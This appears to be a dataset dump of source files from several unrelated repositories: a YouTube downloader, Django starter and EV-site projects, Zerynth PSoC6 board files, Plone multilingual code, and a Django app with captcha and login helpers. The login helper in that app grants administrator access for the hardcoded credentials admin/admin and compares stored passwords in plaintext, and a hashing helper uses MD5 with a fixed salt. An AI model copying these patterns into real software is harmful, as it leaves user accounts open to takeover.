[ { "alpha_fraction": 0.7222222089767456, "alphanum_fraction": 0.7361111044883728, "avg_line_length": 15, "blob_id": "5dabb67abdc0b48fe45e9d7006468c91a2dbe224", "content_id": "2a1513d07945fb3a8d23e95ffe1eb8efa6ae02bc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 144, "license_type": "no_license", "max_line_length": 64, "num_lines": 9, "path": "/README.md", "repo_name": "d4r5hE/youtube-video-downloader", "src_encoding": "UTF-8", "text": "# youtube-video-downloader\n\n## Use:\n\n```\npython downloader.py YOUTUBE_URL\n\npython downloader.py https://www.youtube.com/watch?v=a3ICNMQW7Ok\n```\n" }, { "alpha_fraction": 0.5925006866455078, "alphanum_fraction": 0.6118003726005554, "avg_line_length": 23.18000030517578, "blob_id": "27fb867077f25860d0a575a2f322aff4837fdd7b", "content_id": "ac514c102a9a8c0ee5c4d47d122026c1f38969f1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3627, "license_type": "no_license", "max_line_length": 154, "num_lines": 150, "path": "/downloader.py", "repo_name": "d4r5hE/youtube-video-downloader", "src_encoding": "UTF-8", "text": "import requests\nimport pandas as pd\nfrom tqdm import tqdm\nimport ffmpeg\nimport os\nimport sys\n\n#url = \"https://www.youtube.com/watch?v=a3ICNMQW7Ok\"\nurl = sys.argv[1]\n\n\ndef GET_VIDEO_ID(url):\n x = url.split(\"=\")\n return x[-1]\n\ndef download(url: str, fname: str):\n resp = requests.get(url, stream=True)\n total = int(resp.headers.get('content-length', 0))\n with open(fname, 'wb') as file, tqdm(\n desc=fname,\n total=total,\n unit='iB',\n unit_scale=True,\n unit_divisor=1024,\n ) as bar:\n for data in resp.iter_content(chunk_size=1024):\n size = file.write(data)\n bar.update(size)\n\n\ndef merge_audio_video(video_file,audio_file,file_name):\n video = ffmpeg.input(video_file)\n audio = ffmpeg.input(audio_file)\n out = ffmpeg.output(video, audio, file_name, vcodec='copy')\n out.run()\n\nr = requests.get(url)\n\nx = r.content.decode(\"utf-8\")\n\ninnertubeApiKey = (((x.split('\"innertubeApiKey\":\"'))[1]).split('\"'))[0]\n\n#print(innertubeApiKey)\n\n\n\ndata = {\n \"context\": {\n \"client\": {\n \"userAgent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36,gzip(gfe)\",\n \"clientName\": \"WEB\",\n \"clientVersion\": \"2.20210924.00.00\",\n }\n },\n \"videoId\": f\"{GET_VIDEO_ID(url)}\",\n}\n\n\nres = requests.post(f\"https://www.youtube.com/youtubei/v1/player?key={innertubeApiKey}\",data=str(data))\n#print(res.json())\n\nx = res.json()\n\n\nbest = x['streamingData']['formats']\nall = x['streamingData']['adaptiveFormats']\n\ntitle = x['videoDetails']['title']\n\nprint(title)\n\n\nformat_code = []\nextensions = []\nresolution = []\nbitrate = []\nquality = []\naudio_rate = []\nfps = []\nsize = []\ndownload_urls = []\nd_type = []\n\nall = best + all\n\nfor i in all:\n TYPE = ((str(i['mimeType'])).split('/'))[0]\n I_TAG = str(i['itag'])\n EXTENTION = ((((str(i['mimeType'])).split(\"/\"))[-1]).split(\";\"))[0]\n BITRATE = str(int((int(i['bitrate'])) / 1024)) + 'k'\n RESOLUATION = 'audio'\n if 'width' in i:\n RESOLUATION = str(i['width']) + 'x' + str(i['height'])\n QUALITY = ''\n if \"qualityLabel\" in i:\n QUALITY = i['qualityLabel']\n AUDIO_RATE = ''\n if \"audioSampleRate\" in i:\n AUDIO_RATE = f\"{i['audioSampleRate']}{'Hz'}\"\n SIZE = ''\n if 'contentLength' in i:\n SIZE = f\"{int((int(i['contentLength'])) / 1024)}k\"\n FPS = ''\n if 'fps' in i:\n FPS = str(i['fps']) + \"fps\"\n DOWNLOAD_URLS = ''\n if 'url' in i:\n DOWNLOAD_URLS = i['url']\n\n format_code.append(I_TAG)\n extensions.append(EXTENTION)\n resolution.append(RESOLUATION)\n bitrate.append(BITRATE)\n quality.append(QUALITY)\n audio_rate.append(AUDIO_RATE)\n fps.append(FPS)\n size.append(SIZE)\n download_urls.append(DOWNLOAD_URLS)\n d_type.append(TYPE)\n\nd = {'resolution':resolution,'quality':quality,'format code': format_code, 'extensions': extensions,'bitrate':bitrate,'audio_rate':audio_rate,'size':size}\ndf = pd.DataFrame(data=d)\nprint(df)\n\nx = int(input(\"Enter video format NO: \"))\nif d_type[x] == 'video':\n download_url_video = download_urls[x]\nelse:\n raise IndexError\n\n\ny = int(input(\"Enter audio format NO: \"))\nif d_type[y] == 'audio':\n download_url_audio = download_urls[y]\nelse:\n raise IndexError\n\n\n\nvideo_file = GET_VIDEO_ID(url) +\"vid.\"+ extensions[x]\naudio_file = GET_VIDEO_ID(url) +\"aud.\"+ extensions[y]\nfile_name = title+'.mp4'\n\ndownload(download_url_video,video_file)\ndownload(download_url_audio,audio_file)\n\nmerge_audio_video(video_file,audio_file,file_name)\n\nos.remove(audio_file)\nos.remove(video_file)\n" }, { "alpha_fraction": 0.4615384638309479, "alphanum_fraction": 0.6769230961799622, "avg_line_length": 15.25, "blob_id": "d920d94fb65df87e11f06e2d9568a5458297dde4", "content_id": "f9efa9d1cb40e8456217f2c0ed60ad4c1bcdcddd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 65, "license_type": "no_license", "max_line_length": 20, "num_lines": 4, "path": "/requirements.txt", "repo_name": "d4r5hE/youtube-video-downloader", "src_encoding": "UTF-8", "text": "requests==2.26.0\npandas==1.3.3\ntqdm==4.62.3\nffmpeg-python==0.2.0\n" } ]
3
Andrew-Chen-Wang/base-django-project
https://github.com/Andrew-Chen-Wang/base-django-project
0e6de3eb3d237fd3a91c4f44843e7283f173a45a
61ed73309fd17cd6db31ab0614550bd4cec9ac66
f4392ad4706fab14892fbced4e26ceb2acb43d86
refs/heads/master
2020-12-27T08:30:19.457404
2020-02-02T21:01:10
2020-02-02T21:01:10
237,834,235
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.742622971534729, "alphanum_fraction": 0.7565574049949646, "avg_line_length": 32.88888931274414, "blob_id": "d7a23c6d1160d81420ae6460ec8ada9ad417b908", "content_id": "9390e1cd7de1de1f2f05acee206c11ad605f8397", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1220, "license_type": "permissive", "max_line_length": 205, "num_lines": 36, "path": "/README.md", "repo_name": "Andrew-Chen-Wang/base-django-project", "src_encoding": "UTF-8", "text": "# Base Django Project\nMinimal Django Project with Registration for easy re-use during testing.\n\n---\n## The code itself\nMuch of this code comes from my [Stripe Subscription](https://github.com/Andrew-Chen-Wang/django-stripe-subscription) test project with Django. So you will find the word \"Stripe\" scattered around the code.\n\nAdditionally, this is only a base! For personal perference, **I have disabled all AUTH_PASSWORD_VALIDATORS when DEBUG is True.**\n\nI actually HIGHLY recommend you use cookiecutter-django (with Docker) for large scale applications. Otherwise, enjoy my base project setup.\n\n---\n## Setup\nYou can set this code up by:\n\n1. Cloning or downloading this respository.\n2. Creating a virtual environment.\n3. `Pip install django`\n - Note: the django that this uses is Django==3.0.2 so some dependencies can break. \n\n---\n## Changelog\nAll notable changes to this project will be documented in this file.\n\n### [0.0.1] - 2020-02-01\n#### Added\n- Entire Django project\n- Registration added with minimal template setup\n- A little bit of Stripe code :P Will delete later.\n#### Changed\n- Made AUTH_PASSWORD_VALIDATORS an empty list if `DEBUG=True`\n\n---\n## LICENSE\nLicense: MIT License\nAttribution is not necessary.\n" }, { "alpha_fraction": 0.6927306056022644, "alphanum_fraction": 0.6939523816108704, "avg_line_length": 37.069766998291016, "blob_id": "0ce19befd2b6f39394a7caf1e226022b0c85923e", "content_id": "8b9b410cb31c4f329ea889b86c1770573903ce4e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1637, "license_type": "permissive", "max_line_length": 95, "num_lines": 43, "path": "/public/views.py", "repo_name": "Andrew-Chen-Wang/base-django-project", "src_encoding": "UTF-8", "text": "\"\"\"\nWhat does stripe handle? Stripe's webhooks will send a bunch of information\nthat you have signed up for in the Stripe Developer/Webhook section.\nThat can be found here: https://dashboard.stripe.com/test/webhooks when you are logged-in\n\nFollow the README closely in order for this to work. Obviously, these are just the base methods\nthat you will need to expand on for your usage.\n\"\"\"\nfrom django.shortcuts import render, redirect\nfrom django.conf import settings\nfrom django.contrib.auth.forms import UserCreationForm\nfrom django.contrib.auth import authenticate, login\n\n\ndef index(request):\n return render(request, \"index.html\")\n\n\ndef stripe_webhook(request):\n if not request.user.is_authenticated:\n return redirect(\"%s?next=%s\" % (settings.LOGIN_URL, request.path))\n\n\n# Authentication: Django's default authentication\n# https://docs.djangoproject.com/en/3.0/topics/auth/default/#all-authentication-views\n\ndef register(request):\n \"\"\"Using Django's pre-made UserCreationForm\"\"\"\n if request.method == \"POST\":\n form = UserCreationForm(request.POST)\n if form.is_valid():\n form.save()\n username = form.cleaned_data.get(\"username\")\n password = form.cleaned_data.get(\"password1\")\n user = authenticate(username=username, password=password)\n login(request, user)\n return redirect(\"/\")\n else:\n form = UserCreationForm()\n return render(request, \"registration/register.html\", {\"form\": form})\n else:\n form = UserCreationForm()\n return render(request, \"registration/register.html\", {\"form\": form})\n" } ]
2
Kyungpyo-Kang/EV
https://github.com/Kyungpyo-Kang/EV
03702aace13a23e8cf1b4a172210c8d3dd65a701
2e3ebcd7b258a64cdc93b1892fb570e685c7fe7e
a4f9cf0523f68a4812ce9635583eb975aea428da
refs/heads/master
2022-11-23T10:52:40.128350
2020-07-27T07:26:59
2020-07-27T07:26:59
281,826,716
0
3
null
null
null
null
null
[ { "alpha_fraction": 0.6957142949104309, "alphanum_fraction": 0.6957142949104309, "avg_line_length": 35.842105865478516, "blob_id": "94236e18bfc8001d5884dd149a306dcf349faec2", "content_id": "40d13310dd6aad7a15ca0d7b0a169f23aa1935d4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 700, "license_type": "no_license", "max_line_length": 68, "num_lines": 19, "path": "/EV/urls.py", "repo_name": "Kyungpyo-Kang/EV", "src_encoding": "UTF-8", "text": "from django.contrib import admin\nfrom django.urls import path\nimport Main.views\nimport Community.views\nimport Introduce.views\nimport Member.views\nimport Recommand.views\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('', Main.views.index, name='index'),\n path('login/', Member.views.login, name='login'),\n path('join/', Member.views.join, name='join'),\n path('login_pro/', Member.views.login_pro, name='login_pro'),\n path('join_pro/', Member.views.join_pro, name='join_pro'),\n path('community/', Community.views.community, name='community'),\n path('logout/', Member.views.logout, name='logout'),\n path('recommand/', Recommand.views.recommand, name='recommand'),\n]\n" }, { "alpha_fraction": 0.6076817512512207, "alphanum_fraction": 0.609739363193512, "avg_line_length": 33.42856979370117, "blob_id": "ce5018fcef6014085ba4a12a405f06c80f8081b6", "content_id": "8b400033999bde871bcc0dbf8bd8c2f214258da6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1458, "license_type": "no_license", "max_line_length": 97, "num_lines": 42, "path": "/Member/views.py", "repo_name": "Kyungpyo-Kang/EV", "src_encoding": "UTF-8", "text": "from django.shortcuts import render, redirect\nfrom .models import Member\nfrom django.contrib.auth.models import User\nfrom django.contrib import auth\n\ndef login(request):\n return render(request, 'login.html')\n\ndef join(request):\n return render(request, 'join.html')\n\ndef join_pro(request):\n if request.method == \"POST\":\n if request.POST['password1'] == request.POST['password2']:\n user = User.objects.create_user(\n username = request.POST['member_id'], password= request.POST['password1']\n )\n member = Member()\n member.user = user\n member.member_name = request.POST['member_name']\n member.member_email = request.POST['member_email']\n member.save()\n auth.login(request, user) \n return redirect('index')\n return render(request, 'join.html')\n\ndef login_pro(request):\n if request.method == 'POST':\n userId = request.POST['userId']\n userPw = request.POST['userPw']\n user = auth.authenticate(request, username=userId, password=userPw)\n if user is not None:\n auth.login(request, user)\n return redirect('index')\n else:\n return render(request, 'login.html', {'error': 'username or password is incorrect.'})\n else:\n return render(request, 'login.html')\n\ndef logout(request):\n auth.logout(request)\n return redirect('index')\n \n\n \n\n" }, { "alpha_fraction": 0.7490636706352234, "alphanum_fraction": 0.7640449404716492, "avg_line_length": 37.14285659790039, "blob_id": "2f5062ac3460cadb5ee3bade6146dbf91f30676e", "content_id": "e8fa76ac82ccf200f15d146df405d248c50b9100", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 267, "license_type": "no_license", "max_line_length": 63, "num_lines": 7, "path": "/Member/models.py", "repo_name": "Kyungpyo-Kang/EV", "src_encoding": "UTF-8", "text": "from django.db import models\nfrom django.contrib.auth.models import User\n\nclass Member(models.Model):\n user = models.OneToOneField(User, on_delete=models.CASCADE)\n member_name = models.CharField(max_length=50)\n member_email = models.CharField(max_length=50)\n" }, { "alpha_fraction": 0.7735849022865295, "alphanum_fraction": 0.7735849022865295, "avg_line_length": 25.5, "blob_id": "053e72419fff435cc87bc61fc7a3a50651a9c973", "content_id": "d35550767aefe20b419c76abc6fcd17d25744c50", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 106, "license_type": "no_license", "max_line_length": 44, "num_lines": 4, "path": "/Recommand/views.py", "repo_name": "Kyungpyo-Kang/EV", "src_encoding": "UTF-8", "text": "from django.shortcuts import render\n\ndef recommand(request):\n return render(request, 'recommand.html')\n" }, { "alpha_fraction": 0.7735849022865295, "alphanum_fraction": 0.7735849022865295, "avg_line_length": 25.5, "blob_id": "8ce91465ef82a786731b58a879aae3c62a6bbe33", "content_id": "ba61c39c72adeddcc0dbaad1bb42d6a65a86f1a7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 106, "license_type": "no_license", "max_line_length": 44, "num_lines": 4, "path": "/Community/views.py", "repo_name": "Kyungpyo-Kang/EV", "src_encoding": "UTF-8", "text": "from django.shortcuts import render\n\ndef community(request):\n return render(request, 'community.html')\n" } ]
5
zerynth/board-zerynth-psoc6wifibt_pioneerkit
https://github.com/zerynth/board-zerynth-psoc6wifibt_pioneerkit
9c533bbc3cd8044ed7fd50cbdd3294d11803bb6a
96c5126cfa548d53d83003d72052fee4592d9723
0e06b3f788cbcb9ea4f35b697f84e78a18b50665
refs/heads/master
2021-06-17T20:24:52.792940
2020-07-21T10:54:16
2020-07-21T10:54:16
188,812,892
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5747126340866089, "alphanum_fraction": 0.6015325784683228, "avg_line_length": 17.571428298950195, "blob_id": "b0aa22da666b1eaf36266985acbdf062d56a891e", "content_id": "deb584ddc623e70c298c49e5491e53c0485d1a70", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 261, "license_type": "no_license", "max_line_length": 58, "num_lines": 14, "path": "/psoc6wifibt_pioneerkit.py", "repo_name": "zerynth/board-zerynth-psoc6wifibt_pioneerkit", "src_encoding": "UTF-8", "text": "from base import *\nfrom devices import *\n\nclass PSoC6WiFiBTPioneerKit(Board):\n\n @staticmethod\n def match(dev):\n return dev[\"vid\"]==\"04B4\" and dev[\"pid\"] == \"F148\"\n\n def reset(self):\n pass\n\n def burn(self,bin,outfn=None):\n pass\n\n" }, { "alpha_fraction": 0.6387520432472229, "alphanum_fraction": 0.6798029541969299, "avg_line_length": 22.461538314819336, "blob_id": "138bbbb61d42776b700db3fffb1f693d74102425", "content_id": "c641171220b8150c89aceaed2f6a11181f88aaf9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 609, "license_type": "no_license", "max_line_length": 84, "num_lines": 26, "path": "/port/config/vboard.h", "repo_name": "zerynth/board-zerynth-psoc6wifibt_pioneerkit", "src_encoding": "UTF-8", "text": "#ifndef __VBOARD__\n#define __VBOARD__\n\nextern uint8_t __ramvectors__[];\n\n\n#if !defined(CORTEX_FLASH_VTABLE)\n# define CORTEX_FLASH_VTABLE 0x10002000 /* app code start */\n#endif\n\n#define CORTEX_VTOR_INIT ((uint32_t)(&__ramvectors__))\n#define CORTEX_VECTOR_COUNT 147 /* 163 total vectors - 16 cortex standard vectors */\n\n#define CORTEX_ENABLE_WFI_IDLE TRUE\n#define CORTEX_SIMPLIFIED_PRIORITY FALSE\n\n#ifndef CORTEX_USE_FPU\n#define CORTEX_USE_FPU TRUE\n#endif\n\n#define PORT_PRIO_BITS 4\n#define PORT_PRIO_MASK(n) ((n) << (8 - PORT_PRIO_BITS))\n\n#define VHAL_SER_RXFIFO_LEN 256\n\n#endif" }, { "alpha_fraction": 0.6978021860122681, "alphanum_fraction": 0.7197802066802979, "avg_line_length": 17, "blob_id": "9890e1843dc55691d793bb26822b4f94b26aa0da", "content_id": "31e96084a9c833b2e3ef10824e92f1a995e4966b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 182, "license_type": "no_license", "max_line_length": 55, "num_lines": 10, "path": "/bsp/drivers/wifi.py", "repo_name": "zerynth/board-zerynth-psoc6wifibt_pioneerkit", "src_encoding": "UTF-8", "text": "from wireless import wifi\nfrom murata.lbee5kl1dx import lbee5kl1dx as wifi_driver\n\n\ndef init():\n wifi_driver.init(\"US\")\n return wifi_driver\n\ndef interface():\n return wifi\n\n\n" } ]
3
mangzhongGit/Django
https://github.com/mangzhongGit/Django
307363ef0b50fb64e1c6b48508f97e14720040a8
865704ed3b636bb4495012fa6a79ff209da2d41b
ffffd151699157b3a8f9d3026dac2003ebcc8c4d
refs/heads/master
2020-06-01T07:29:45.983643
2019-12-25T17:40:12
2019-12-25T17:40:12
190,699,774
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6370656490325928, "alphanum_fraction": 0.6396396160125732, "avg_line_length": 27.814815521240234, "blob_id": "b8a35807ff0e10309df1aaf6922766d7c0eb3934", "content_id": "316b6dc23c977ed9e628d9357eee9098198bcaa8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 865, "license_type": "no_license", "max_line_length": 76, "num_lines": 27, "path": "/mysite/mysite/utils/captcha_util.py", "repo_name": "mangzhongGit/Django", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n# !-*-coding:utf-8 -*-\n\n# 验证码需要导入的模块\nfrom captcha.models import CaptchaStore\nfrom captcha.helpers import captcha_image_url\n\n\n# 创建验证码\ndef build_captcha():\n hash_key = CaptchaStore.generate_key() # 验证码答案\n image_url = captcha_image_url(hash_key) # 验证码地址\n captcha = {'hash_key': hash_key, 'image_url': image_url}\n return captcha\n\n\ndef judge_captcha(captcha_str, captcha_hash_key):\n if captcha_str and captcha_hash_key:\n try:\n # 获取根据hash_key获取数据库中的response值\n get_captcha = CaptchaStore.objects.get(hashkey=captcha_hash_key)\n if get_captcha.response == captcha_str.lower(): # 如果验证码匹配\n return True\n except Exception as e:\n return False\n else:\n return False" }, { "alpha_fraction": 0.6402640342712402, "alphanum_fraction": 0.6567656993865967, "avg_line_length": 19.133333206176758, "blob_id": "babc35d40c20958959f3e28ec3f2f63adfbb42b0", "content_id": "811fe33c115a78d07596633e506c561e66f2629d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 303, "license_type": "no_license", "max_line_length": 43, "num_lines": 15, "path": "/mysite/mysite/utils/passwd_util.py", "repo_name": "mangzhongGit/Django", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n# !-*-coding:utf-8 -*-\nimport hashlib\n\n\ndef encryption(data):\n salt = 'dsajkgnjkasdhogoisadhgi'\n ret = hashlib.md5(salt.encode(\"utf-8\"))\n ret.update(data.encode(\"utf-8\"))\n result = ret.hexdigest()\n return result\n\n\ndef decrypt(ciphertext):\n print(ciphertext)\n\n" }, { "alpha_fraction": 0.5905329585075378, "alphanum_fraction": 0.5911949872970581, "avg_line_length": 36.28395080566406, "blob_id": "7f4a0d4a70a14a6702a0ed7e814dbb5eca0ff54c", "content_id": "70f0fe2d6172777bce1b3ce63c4d7489a69b13d3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3169, "license_type": "no_license", "max_line_length": 103, "num_lines": 81, "path": "/mysite/mysite/task_service/task_service.py", "repo_name": "mangzhongGit/Django", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n# !-*-coding:utf-8 -*-\nimport json\nfrom utils.captcha_util import judge_captcha, build_captcha\nfrom django.shortcuts import render\nfrom django.shortcuts import redirect\nfrom django.shortcuts import HttpResponse\nfrom migrations import models\nfrom matplotlib import pyplot as plt\nimport matplotlib; matplotlib.use('Agg')\nplt.rcParams['font.sans-serif'] = ['SimHei'] # 解决中文乱码\n\n\ndef jump_page(key):\n if key == 'administer':\n return redirect('/administer/')\n if key == 'index':\n return redirect('/index/')\n if key == 'register':\n return redirect('/register/')\n if key == 'login':\n return redirect('/login/')\n\n\ndef login(request, captcha_dict):\n username = request.POST.get(\"username\", None)\n password = request.POST.get(\"password\", None)\n\n # 判断验证码输入是否正确\n capt = request.POST.get(\"captcha\", None)\n key = request.POST.get(\"hash_key\", None)\n if not judge_captcha(capt, key):\n message = \"验证码错误!\"\n return render(request, 'login.html', {'message': message, 'captcha': captcha_dict})\n else:\n if username and password:\n username = username.strip()\n if username == \"admin\" and password == \"admin\":\n # 管理员\n return redirect('/administer/')\n try:\n name = models.UserInfo.objects.get(user=username)\n if name.pwd == password and name.adminCheck == True:\n request.session['username'] = username\n return redirect('/index/')\n else:\n message = \"密码错误!\"\n return render(request, 'login.html', {'message': message, 'captcha': captcha_dict})\n except Exception as e:\n message = \"该用户不存在!\"\n return render(request, 'login.html', {'message': message, 'captcha': captcha_dict})\n else:\n message = \"输入不能为空\"\n return render(request, 'login.html', {'message': message, 'captcha': captcha_dict})\n\n\ndef register(request):\n username = request.POST.get(\"username\", None)\n password = request.POST.get(\"password\", None)\n repeat_password = request.POST.get(\"repeat_password\", None)\n\n if username and password and repeat_password:\n username = username.strip()\n try:\n # 查找用户名是否已经存在\n models.UserInfo.objects.get(user=username)\n message = \"用户名已存在\"\n return render(request, 'register.html', {'message': message})\n except Exception as e:\n if password != repeat_password:\n message = \"两次输入密码不相同\"\n return render(request, 'register.html', {'message': message})\n else:\n data = models.UserInfo(user=username, pwd=password)\n data.save()\n message = \"注册成功\"\n return render(request, 'login.html', {'message': message})\n\n\ndef refresh_captcha():\n return HttpResponse(json.dumps(build_captcha()), content_type='application/json')\n\n" } ]
3
plone/plone.multilingualbehavior
https://github.com/plone/plone.multilingualbehavior
d2cb84e80d948a723be49fcb624784f246edb2d5
ece9bbfc797b5c4289c75bea3cb6f9659c5d9ecd
068cd18e446987348b605b262ee2dc85757489e3
refs/heads/master
2021-06-06T12:49:17.398437
2019-12-27T13:48:40
2019-12-27T13:48:40
1,999,736
1
3
null
2011-07-05T09:55:51
2019-12-24T14:09:31
2019-12-26T00:05:05
Python
[ { "alpha_fraction": 0.6153846383094788, "alphanum_fraction": 0.6181318759918213, "avg_line_length": 25.36231803894043, "blob_id": "cc766d1d5c4b31b026c5f7a6ea9be4506d2eae5a", "content_id": "b273f44b3f66d8dac59ce1db4c1ead1ec3901431", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1820, "license_type": "no_license", "max_line_length": 62, "num_lines": 69, "path": "/plone/multilingualbehavior/form.py", "repo_name": "plone/plone.multilingualbehavior", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\nfrom zope.interface import implements\n\nfrom z3c.form.interfaces import NO_VALUE\nfrom z3c.form.interfaces import IValue\n\nfrom Products.CMFCore.utils import getToolByName\nfrom Acquisition import aq_base\n\nfrom interfaces import ILanguageIndependentField\nfrom plone.multilingual.manager import TranslationManager\n\n\ndef isLanguageIndependent(field):\n if field.interface is None:\n return False\n\n if ILanguageIndependentField.providedBy(field):\n return True\n else:\n return False\n\n\nclass ValueBase(object):\n implements(IValue)\n\n def __init__(self, context, request, form, field, widget):\n self.context = context\n self.request = request\n self.field = field\n self.form = form\n self.widget = widget\n\n @property\n def catalog(self):\n return getToolByName(self.context, 'portal_catalog')\n\n\nclass AddingLanguageIndependentValue(ValueBase):\n def getTranslationUuid(self):\n sdm = self.context.session_data_manager\n session = sdm.getSessionData(create=True)\n if 'tg' in session.keys():\n return session['tg']\n\n def get(self):\n uuid = self.getTranslationUuid()\n\n if isLanguageIndependent(self.field) and uuid:\n manager = TranslationManager(uuid)\n result = manager.get_restricted_translations()\n\n if len(result) >= 1:\n\n orig_lang = result.keys()[0]\n obj = result[orig_lang]\n name = self.field.__name__\n try:\n value = getattr(aq_base(obj), name)\n except AttributeError:\n pass\n else:\n return value\n\n if self.field.default is None:\n return NO_VALUE\n\n return self.field.default\n\n" }, { "alpha_fraction": 0.6964549422264099, "alphanum_fraction": 0.6967011094093323, "avg_line_length": 40.448978424072266, "blob_id": "31aa3bbb223c933610f97e12fd489d3af074a532", "content_id": "5e94e9f8ee99c7a1ca0bfd67bcb8f734df0ed3b8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4062, "license_type": "no_license", "max_line_length": 78, "num_lines": 98, "path": "/plone/multilingualbehavior/subscriber.py", "repo_name": "plone/plone.multilingualbehavior", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom AccessControl import getSecurityManager\nfrom AccessControl.SecurityManagement import newSecurityManager\nfrom AccessControl.SecurityManagement import setSecurityManager\nfrom AccessControl.User import UnrestrictedUser\nfrom Products.CMFCore.utils import getToolByName\n\nfrom plone.app.multilingual.interfaces import IMultiLanguageExtraOptionsSchema\nfrom plone.dexterity.interfaces import IDexterityFTI\nfrom plone.multilingual.interfaces import ILanguage\nfrom plone.multilingual.interfaces import ILanguageIndependentFieldsManager\nfrom plone.multilingual.interfaces import ITranslationManager\nfrom plone.multilingualbehavior.interfaces import IDexterityTranslatable\nfrom plone.registry.interfaces import IRegistry\nfrom zope.component import queryAdapter\nfrom zope.component import getUtility\nfrom zope.event import notify\nfrom zope.lifecycleevent import ObjectModifiedEvent\nfrom zope.lifecycleevent import Attributes\nfrom plone.dexterity.interfaces import IEditFinishedEvent\n\n\nclass LanguageIndependentModifier(object):\n \"\"\"Class to handle dexterity editions.\"\"\"\n\n def __call__(self, content, event):\n \"\"\"Called by the event system.\"\"\"\n if IDexterityTranslatable.providedBy(content):\n self.canonical = ITranslationManager(content).query_canonical()\n\n if IEditFinishedEvent.providedBy(event):\n self.handle_modified(content)\n\n def bypass_security_checks(self):\n registry = getUtility(IRegistry)\n\n # BBB for lrf-branch\n field = registry.records.get(\n IMultiLanguageExtraOptionsSchema.__identifier__ +\n '.bypass_languageindependent_field_permission_check')\n\n return field and field.value or False\n\n def handle_modified(self, content):\n\n fieldmanager = ILanguageIndependentFieldsManager(content)\n if not fieldmanager.has_independent_fields():\n return\n\n sm = getSecurityManager()\n try:\n # Do we have permission to sync language independent fields?\n if self.bypass_security_checks():\n # Clone the current user and assign a new editor role to\n # allow edition of all translated objects even if the\n # current user whould not have permission to do that.\n tmp_user = UnrestrictedUser(\n sm.getUser().getId(), '', ['Editor', ], '')\n\n # Wrap the user in the acquisition context of the portal\n # and finally switch the user to our new editor\n acl_users = getToolByName(content, 'acl_users')\n tmp_user = tmp_user.__of__(acl_users)\n newSecurityManager(None, tmp_user)\n\n # Copy over all language independent fields\n transmanager = ITranslationManager(content)\n for translation in self.get_all_translations(content):\n trans_obj = transmanager.get_translation(translation)\n if trans_obj and fieldmanager.copy_fields(trans_obj):\n self.reindex_translation(trans_obj)\n finally:\n # Restore the old security manager\n setSecurityManager(sm)\n\n def reindex_translation(self, translation):\n \"\"\"Once the modification is done, reindex translation\"\"\"\n translation.reindexObject()\n\n fti = getUtility(IDexterityFTI, name=translation.portal_type)\n schema = fti.lookupSchema()\n descriptions = Attributes(schema)\n\n # Pass the canonical object as a event description\n notify(ObjectModifiedEvent(translation, descriptions, self.canonical))\n\n def get_all_translations(self, content):\n \"\"\"Return all translations excluding the just modified content\"\"\"\n content_lang = queryAdapter(content, ILanguage).get_language()\n translations = ITranslationManager(content).get_translated_languages()\n translations.remove(content_lang)\n return translations\n\n @property\n def __name__(self):\n return 'handler'\n\nhandler = LanguageIndependentModifier()\n" }, { "alpha_fraction": 0.7447306513786316, "alphanum_fraction": 0.7470725774765015, "avg_line_length": 25.6875, "blob_id": "12bc66f5edd49a1c077f3b40dc4b4e287de88230", "content_id": "9c5f1e98fa9eb3aed724fc0696eb8b17b7bdf171", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 427, "license_type": "no_license", "max_line_length": 75, "num_lines": 16, "path": "/plone/multilingualbehavior/cloner.py", "repo_name": "plone/plone.multilingualbehavior", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom zope import interface\n\nfrom plone.multilingual.interfaces import ITranslationCloner\nfrom plone.multilingual.interfaces import ILanguageIndependentFieldsManager\n\n\nclass Cloner(object):\n\n interface.implements(ITranslationCloner)\n\n def __init__(self, context):\n self.context = context\n\n def __call__(self, obj):\n ILanguageIndependentFieldsManager(self.context).copy_fields(obj)\n" }, { "alpha_fraction": 0.750792920589447, "alphanum_fraction": 0.7521522641181946, "avg_line_length": 41.44230651855469, "blob_id": "aa6904753e9f0a1a2a0c9c28bfb0d9e75edeca07", "content_id": "faae3a962c3f06a6f005453f1badae90e9ec76b8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "reStructuredText", "length_bytes": 2207, "license_type": "no_license", "max_line_length": 125, "num_lines": 52, "path": "/README.rst", "repo_name": "plone/plone.multilingualbehavior", "src_encoding": "UTF-8", "text": 